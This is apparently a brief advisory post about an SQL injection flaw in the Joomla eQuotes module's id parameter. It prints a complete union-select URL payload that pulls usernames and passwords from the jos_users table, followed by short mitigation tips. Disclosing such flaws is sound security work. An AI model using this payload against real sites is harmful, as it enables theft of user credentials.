Joomla eQuotes SQL Injection

For anyone running the Joomla eQuotes module, be warned. The eQuotes mod is susceptible to SQL injection, and could cause some major headaches if someone actually performs this on your site.

The SQL injection is inserted on the id parameter of the URI. A union select can pull the fields you want from the database.

http://localhost/[Joomla_Path]/index.php?option=com_equotes&id=13
and 1=1 union select user(),concat(username,0×3a,password),user(), user(),user(),user(),user() FROM jos_users

It’s recommended that you change some roles on your MySQL username. Using stored procedures can also prevent a lot of SQL injection attacks such as these, but that would be up to the software developer not the end user….